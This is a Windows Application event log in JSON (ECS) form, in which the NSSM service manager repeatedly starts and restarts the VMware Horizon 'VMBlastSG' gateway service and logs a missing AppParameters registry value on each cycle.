{"@timestamp":1646730307656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160400}}
{"@timestamp":1646730307656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160401}}
{"@timestamp":1646730436224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160402}}
{"@timestamp":1646730436225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160403}}
{"@timestamp":1646730436225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152976","0"]}}},"module":"Application","provider":"nssm","sequence":160404}}
{"@timestamp":1646730436226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152976","152976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160405}}
{"@timestamp":1646730436244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160406}}
{"@timestamp":1646730436245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160407}}
{"@timestamp":1646730436246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160408}}
{"@timestamp":1646730436247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160409}}
{"@timestamp":1646730564751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160410}}
{"@timestamp":1646730564753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160411}}
{"@timestamp":1646730564754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156944","0"]}}},"module":"Application","provider":"nssm","sequence":160412}}
{"@timestamp":1646730564755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156944","156944","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160413}}
{"@timestamp":1646730564771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160414}}
{"@timestamp":1646730564772,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160415}}
{"@timestamp":1646730564773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160416}}
{"@timestamp":1646730564773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160417}}
{"@timestamp":1646730693258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160418}}
{"@timestamp":1646730693258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160419}}
{"@timestamp":1646730693259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156928","0"]}}},"module":"Application","provider":"nssm","sequence":160420}}
{"@timestamp":1646730693260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156928","156928","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160421}}
{"@timestamp":1646730693276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160422}}
{"@timestamp":1646730693276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160423}}
{"@timestamp":1646730693277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160424}}
{"@timestamp":1646730693278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160425}}
{"@timestamp":1646730821895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160426}}
{"@timestamp":1646730821896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160427}}
{"@timestamp":1646730821896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156748","0"]}}},"module":"Application","provider":"nssm","sequence":160428}}
{"@timestamp":1646730821897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156748","156748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160429}}
{"@timestamp":1646730821913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155944","0"]}}},"module":"Application","provider":"nssm","sequence":160430}}
{"@timestamp":1646730821914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155944","156748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160431}}
{"@timestamp":1646730821930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160432}}
{"@timestamp":1646730821931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160433}}
{"@timestamp":1646730821931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160434}}
{"@timestamp":1646730821932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160435}}
{"@timestamp":1646730950430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160436}}
{"@timestamp":1646730950430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160437}}
{"@timestamp":1646730950431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156752","0"]}}},"module":"Application","provider":"nssm","sequence":160438}}
{"@timestamp":1646730950434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156752","156752","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160439}}
{"@timestamp":1646730950452,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160440}}
{"@timestamp":1646730950453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160441}}
{"@timestamp":1646730950454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160442}}
{"@timestamp":1646730950455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160443}}
{"@timestamp":1646731078946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160444}}
{"@timestamp":1646731078947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160445}}
{"@timestamp":1646731078948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153528","0"]}}},"module":"Application","provider":"nssm","sequence":160446}}
{"@timestamp":1646731078948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153528","153528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160447}}
{"@timestamp":1646731078963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160448}}
{"@timestamp":1646731078964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160449}}
{"@timestamp":1646731078965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160450}}
{"@timestamp":1646731078965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160451}}
{"@timestamp":1646731207463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160452}}
{"@timestamp":1646731207466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160453}}
{"@timestamp":1646731207466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155768","0"]}}},"module":"Application","provider":"nssm","sequence":160454}}
{"@timestamp":1646731207466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155768","155768","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160455}}
{"@timestamp":1646731207483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160456}}
{"@timestamp":1646731207484,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160457}}
{"@timestamp":1646731207485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160458}}
{"@timestamp":1646731207485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160459}}
{"@timestamp":1646731335980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160460}}
{"@timestamp":1646731335982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160461}}
{"@timestamp":1646731335983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157140","0"]}}},"module":"Application","provider":"nssm","sequence":160462}}
{"@timestamp":1646731335983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157140","157140","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160463}}
{"@timestamp":1646731335999,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160464}}
{"@timestamp":1646731336000,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160465}}
{"@timestamp":1646731336001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160466}}
{"@timestamp":1646731336001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160467}}
{"@timestamp":1646731464662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160468}}
{"@timestamp":1646731464663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160469}}
{"@timestamp":1646731464665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157676","0"]}}},"module":"Application","provider":"nssm","sequence":160470}}
{"@timestamp":1646731464666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157676","157676","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160471}}
{"@timestamp":1646731464684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160472}}
{"@timestamp":1646731464687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160473}}
{"@timestamp":1646731464688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160474}}
{"@timestamp":1646731464690,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160475}}
{"@timestamp":1646731593225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160476}}
{"@timestamp":1646731593226,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160477}}
{"@timestamp":1646731593227,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156716","0"]}}},"module":"Application","provider":"nssm","sequence":160478}}
{"@timestamp":1646731593228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156716","156716","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160479}}
{"@timestamp":1646731593245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160480}}
{"@timestamp":1646731593245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160481}}
{"@timestamp":1646731593246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160482}}
{"@timestamp":1646731593247,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160483}}
{"@timestamp":1646731721784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160484}}
{"@timestamp":1646731721785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160485}}
{"@timestamp":1646731721785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157292","0"]}}},"module":"Application","provider":"nssm","sequence":160486}}
{"@timestamp":1646731721787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157292","157292","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160487}}
{"@timestamp":1646731721803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160488}}
{"@timestamp":1646731721804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160489}}
{"@timestamp":1646731721804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160490}}
{"@timestamp":1646731721805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160491}}
{"@timestamp":1646731850324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160492}}
{"@timestamp":1646731850325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160493}}
{"@timestamp":1646731850326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155200","0"]}}},"module":"Application","provider":"nssm","sequence":160494}}
{"@timestamp":1646731850327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155200","155200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160495}}
{"@timestamp":1646731850344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160496}}
{"@timestamp":1646731850344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160497}}
{"@timestamp":1646731850345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160498}}
{"@timestamp":1646731850346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160499}}
{"@timestamp":1646731978878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160500}}
{"@timestamp":1646731978878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160501}}
{"@timestamp":1646731978879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156936","0"]}}},"module":"Application","provider":"nssm","sequence":160502}}
{"@timestamp":1646731978879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156936","156936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160503}}
{"@timestamp":1646731978898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160504}}
